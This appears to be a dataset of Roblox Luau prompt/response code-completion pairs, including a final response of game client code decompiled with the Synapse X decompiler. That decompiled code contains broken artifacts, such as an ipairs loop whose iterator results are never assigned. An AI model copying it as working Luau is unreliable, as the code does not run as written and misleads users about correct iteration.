	local oldCommand = self.Commands[commandObject.Name:lower()]
	if oldCommand and oldCommand.Aliases then
		for _, alias in pairs(oldCommand.Aliases) do
			self.Commands[alias:lower()] = nil
		end
	elseif not oldCommand then
		self.CommandsArray[#self.CommandsArray + 1] = commandObject
	end

	self.Commands[commandObject.Name:lower()] = commandObject

	if commandObject.Aliases then
		for _, alias in pairs(commandObject.Aliases) do
			self.Commands[alias:lower()] = commandObject
		end
	end
end


Prompt:
-- Clear any existing animation tracks
-- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks

Response:
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil
if animator then
	local animTracks = animator:GetPlayingAnimationTracks()
	for i,track in ipairs(animTracks) do
		track:Stop(0)
		track:Destroy()
	end
end

for name, fileList in pairs(animNames) do
	configureAnimationSet(name, fileList)
end


Prompt:
--[[
	An implementation of Promises similar to Promise/A+.
]]

Response:
local ERROR_NON_PROMISE_IN_LIST = "Non-promise value passed into %s at index %s"
local ERROR_NON_LIST = "Please pass a list of promises to %s"
local ERROR_NON_FUNCTION = "Please pass a handler function to %s!"
local MODE_KEY_METATABLE = {__mode = "k"}


Prompt: --The LocalScript must be parented inside StarterPlayer.StarterPlayerScripts to function properly, unless the code is modified.

Response:
local LocalScript = script.Parent
LocalScript.Parent = game.StarterPlayer.StarterPlayerScripts


Prompt: --	end

Response:
	end
	wait(1)
	deb = false
	script.Parent.Text = ("Complete")
	end
script.Parent.MouseButton1Click:connect(onClicked)


Prompt: --[[ Input/Settings Changed Events ]]

Response:
--
local mouseLockSwitchFunc = function(actionName, inputState, inputObject)
	if IsShiftLockMode then
		onShiftLockToggled()
	end
end

local function disableShiftLock()
	if ShiftLockIcon then ShiftLockIcon.Visible = false end
	IsShiftLockMode = false
	Mouse.Icon = ""
	if InputCn then
		InputCn:disconnect()
		InputCn = nil
	end
	IsActionBound = false
	ShiftLockController.OnShiftLockToggled:Fire()
end


Prompt: -- ROBLOX deviation START: Re-export bindings types

Response:
export type ReactBinding<T> = ReactTypes.ReactBinding<T>
export type ReactBindingUpdater<T> = ReactTypes.ReactBindingUpdater<T>


Prompt: --basic variables

Response:
local Tool = script.Parent
repeat wait() until Tool.Parent:findFirstChild("Humanoid")
local Plr = game.Players:findFirstChild(Tool.Parent.Name)
local Chr = Tool.Parent
local Hum = Chr.Humanoid
local R = Random.new()


Prompt: --- subscribe the YouTube - PRO100zola 3k

Response:
local hum = script.Parent:WaitForChild("Humanoid")
local anim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = require(script.Parent);
local v3 = require(script:FindFirstAncestor("MainUI").Modules.WindShake);
local v4 = require(l__LocalPlayer__1:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls();
local v5 = game["Run Service"];
local l__UserInputService__6 = game:GetService("UserInputService");
local l__TweenService__7 = game:GetService("TweenService");
local v8 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("Module_Events"));
v3:Init();
v2.gd:WaitForChild("ChaseInSession").Changed:Connect(function(p1)

end);
local function v9()
	local v10 = workspace.CurrentRooms:FindFirstChild(v2.gd.LatestRoom.Value);
	if v10 and v10:GetAttribute("RequiresKey") == true then

	end;
	if v10:WaitForChild("Door", 1) then
		local l__Door__11 = v10:FindFirstChild("Door");
		local v12 = 12;
		if v2.chase then
			v12 = 24;
		end;
		if l__Door__11 then
			local l__Value__1 = v2.gd.LatestRoom.Value;
			task.spawn(function()
				for v13 = 1, 10000 do
					wait(0.1);
					if l__Value__1 < tonumber(l__LocalPlayer__1:GetAttribute("CurrentRoom")) then
						return;
					end;
					if (l__LocalPlayer__1.Character.PrimaryPart.Position - l__Door__11.PrimaryPart.Position).Magnitude < v12 then
						local v14 = RaycastParams.new();
						v14.CollisionGroup = "Player";
						v14.FilterDescendantsInstances = { l__Door__11, l__LocalPlayer__1.Character };
						local v15 = workspace:Raycast(l__LocalPlayer__1.Character.PrimaryPart.Position, CFrame.new(l__LocalPlayer__1.Character.PrimaryPart.Position, l__Door__11.PrimaryPart.Position).LookVector * (l__LocalPlayer__1.Character.PrimaryPart.Position - l__Door__11.PrimaryPart.Position).Magnitude, v14);
						if not v15 then
							l__Door__11.ClientOpen:FireServer();
							return;
						end;
						if not v15.Position then
							l__Door__11.ClientOpen:FireServer();
							return;
						end;
					end;
				end;
			end);
		end;
	end;
	if v10:FindFirstChild("Shopkeeper") then
		require(script.Shopkeeper).run(v10);
	end;
	local v16, v17, v18 = ipairs(v10:GetDescendants());
	while true do
		v16(v17, v18);
		if not v16 then
			break;
		end;
		v18 = v16;
		if v17:IsA("BasePart") and v17:GetAttribute("WindShake") == true then
			print("sup");
			v3:AddObjectShake(v17);
		elseif v17.Name == "GuidingLightStuff" or v17.Name == "HelpLight" or v17.Name == "HelpParticle" then
			if v17:IsA("SpotLight") then
				if UserSettings().GameSettings.SavedQualityLevel.Value <= 4 then
					v17.Color = Color3.fromRGB(39, 190, 255);
					v17.Brightness = 8;
					v17.Range = 32;
					v17.Angle = 40;
				end;
			elseif v17:IsA("ParticleEmitter") and UserSettings().GameSettings.SavedQualityLevel.Value <= 5 then
				v17.Rate = 50;
			end;
		end;
	end;
	if v10:GetAttribute("Header") ~= nil and v10:GetAttribute("Header") ~= "" and v10:GetAttribute("Header") ~= " " then
		print("doing header");
		v2.titlelocation(v10:GetAttribute("Header"));
	end;
	if v10:FindFirstChild("FigureSetup", true) then
		local l__FigureRagdoll__19 = v10:FindFirstChild("FigureSetup", true).FigureRagdoll;
		local l__Parent__20 = l__FigureRagdoll__19.Parent;
		local v21 = 0;
		local l__Click__22 = l__FigureRagdoll__19.Head.Click;
		local l__Growl__23 = l__FigureRagdoll__19.Head.Growl;
		local v24 = {};
		for v25, v26 in pairs(l__FigureRagdoll__19:GetDescendants()) do
			if v26:IsA("Light") and v26.Name == "BlisterLight" then
				v26.Enabled = true;
				v26.Brightness = 0;
				table.insert(v24, {
					Light = v26,
					Distance = l__FigureRagdoll__19.Head.Position - v26.Parent.WorldPosition
				});
			end;
		end;
		local v27 = TweenInfo.new(0.1, Enum.EasingStyle.Linear);
		for v28 = 1, 100000000 do
			wait(0.1);
			if not l__FigureRagdoll__19 then
				break;
			end;
			if l__FigureRagdoll__19.Parent ~= l__Parent__20 then
				break;
			end;
			local v29 = (l__Click__22.PlaybackLoudness + l__Growl__23.PlaybackLoudness) / 60;
			if v29 ~= v21 then
				for v30, v31 in v24, nil do
					delay(v31.Distance / 2, function()
						l__TweenService__7:Create(v31.Light, v27, {
							Brightness = v29
						}):Play();
					end);
				end;
			end;
			v21 = v29;
		end;
	end;
	if v10:FindFirstChild("FigureAnimatedWelded", true) then
		local l__FigureAnimatedWelded__32 = v10:FindFirstChild("FigureAnimatedWelded", true);
		local l__Parent__33 = l__FigureAnimatedWelded__32.Parent;
		local v34 = 0;
		local l__Click__35 = l__FigureAnimatedWelded__32.Parent.Head.Click;
		local l__Growl__36 = l__FigureAnimatedWelded__32.Parent.Head.Growl;
		local v37 = {};
		for v38, v39 in pairs(l__FigureAnimatedWelded__32:GetDescendants()) do
			if v39:IsA("Light") and v39.Name == "BlisterLight" then
				v39.Enabled = true;
				v39.Brightness = 0;
				table.insert(v37, {
					Light = v39,
					Distance = l__FigureAnimatedWelded__32.Parent.Head.Position - v39.Parent.WorldPosition
				});
			end;
		end;
		local v40 = TweenInfo.new(0.1, Enum.EasingStyle.Linear);
		for v41 = 1, 100000000 do
			wait(0.1);
			if not l__FigureAnimatedWelded__32 then
				break;
			end;
			if l__FigureAnimatedWelded__32.Parent ~= l__Parent__33 then
				break;
			end;
			local v42 = (l__Click__35.PlaybackLoudness + l__Growl__36.PlaybackLoudness) / 90 - 0.15;
			if v42 ~= v34 then
				for v43, v44 in v37, nil do
					delay(v44.Distance / 4, function()
						l__TweenService__7:Create(v44.Light, v40, {
							Brightness = v42
						}):Play();
					end);
				end;
			end;
			v34 = v42;
		end;
	end;
end;
v2.gd:WaitForChild("FinishedLoadingRoom").Changed:Connect(v9);
v2.gd:WaitForChild("Preload").Changed:Connect(v9);
workspace:WaitForChild("Ambience_Dark").Played:Connect(function()

end);
l__LocalPlayer__1:GetAttributeChangedSignal("CurrentRoom"):Connect(function()
	local v45 = workspace.CurrentRooms:FindFirstChild(l__LocalPlayer__1:GetAttribute("CurrentRoom"));
	if v45 then
		local v46 = Color3.fromRGB(67, 51, 56);
		local v47 = v45:GetAttribute("Ambient");
		if v47 and type(v47) == "userdata" then
			v46 = v47;
		end;
		l__TweenService__7:Create(game.Lighting, TweenInfo.new(0.4, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {
			Ambient = v46
		}):Play();
	end;
end);
local l__Shopkeeper__48 = workspace:FindFirstChild("Shopkeeper", true);
if l__Shopkeeper__48 then
	require(script.Shopkeeper).run(l__Shopkeeper__48.Parent);
end;
local v49, v50, v51 = ipairs(workspace.CurrentRooms:GetDescendants());